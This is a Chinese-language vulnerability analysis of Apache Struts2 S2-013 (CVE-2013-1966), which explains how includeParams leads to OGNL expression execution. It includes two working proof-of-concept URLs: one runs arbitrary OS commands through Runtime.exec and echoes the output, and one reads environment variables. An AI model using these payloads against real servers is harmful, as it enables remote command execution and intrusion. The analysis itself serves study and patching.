Struts2 includeParams属性命令执行漏洞 – S2 013

CVE-2013-1966

描述:

Apache Struts2的<s:a>和<s:url>标签都提供了一个includeParams属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。攻击者可以提交带有恶意的ONGL表达式,达到执行任意Java代码的目的。只要基于Apache Struts2开发的JSP代码中使用了url/a标签并且设置了includeParams属性为all或get,远程攻击者即可利用此漏执行任意命令。

影响:

受影响的版本:Apache Struts 2.0.0 – Apache Struts 2.3.14.1

分析:

主要原因是Struts2中对传入的参数进行了OGNL解析执行。

package org.apache.struts2.views.uti.DefaultUrlHelper中的parseQueryString方法:

public Map<String, Object> parseQueryString(String queryString, boolean forceValueArray) {
    Map<String, Object> queryParams = new LinkedHashMap<String, Object>();
    if (queryString != null) {
    ......
    if (paramName != null) {
    paramName = translateAndDecode(paramName);
    String translatedParamValue = translateAndDecode(paramValue);
    ......
}

//translateAndDecode会调用
private String translateVariable(String input) {
    ValueStack valueStack = ServletActionContext.getContext().getValueStack();
    return TextParseUtil.translateVariables(input, valueStack);
}

最后TextParseUtil.translateVariables()进行OGNL解析执行,查阅官方参考文档,该方法描述如下:

public static String translateVariables(String expression,ValueStack stack)
Converts all instances of ${…} in expression to the value returned by a call to ValueStack.findValue(java.lang.String). If an item cannot be found on the stack (null is returned), then the entire variable ${…} is not displayed, just as if the item was on the stack but returned an empty string.
Parameters:
expression – an expression that hasn’t yet been translated
Returns:
the parsed expression

所以构造一个参数,用${…}包含特定的OGNL命令,实现任意命令执行。

POC:

http://localhost:8008/StrutsTest/login.jsp?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%22$S\n%22),%23response.getWriter().println(%23result),%23response.getWriter().println(%22$E\n%22),%23response.close()}&cmd=cmd%20/c%20netstat

其中的OGNL命令的特殊字符注意要经过编码。
其中OGNL代码,调用RunTime.exec()执行命令。

关于该POC执行命令的回显问题:

以上代码通过 DataInputStream 类的的 readFully(byte[]) 方法来读取回显数据。readFully(byte[] b)方法读取流上指定长度的字节数组,也就是说如果声明了长度为len的字节数组,readFully(byte[len] b)方法只有读取len长度个字节的时候才返回,否则阻塞等待,如果超时,则会抛出异常 EOFException。所以当回显内容比定义的接收字节数组长度小时,会一直阻塞,导致返回异常,可以通过缩短接收字节数组的长度来解决。
另外DataInputStream类的read(byte[])也可以读取数据,该方法实质是读取流上的字节直到流上没有字节为止,如果当声明的字节数组长度大于流上的数据长度时就提前返回。但由于数据在网络上传输时分段发送等等原因,会导致read()方法数据接收不全。

POC2:

http://localhost:8080/StrutsTest/login.jsp?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23u=@java.lang.System@getenv(“USERNAME”),@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%23u)}

References:

OGNL:http://commons.apache.org/proper/commons-ognl/
Struts API:http://struts.apache.org/release/2.0.x/struts2-core/apidocs/
漏洞分析:http://www.freebuf.com/vuls/9757.html

Leave a comment

Your email address will not be published. Required fields are marked *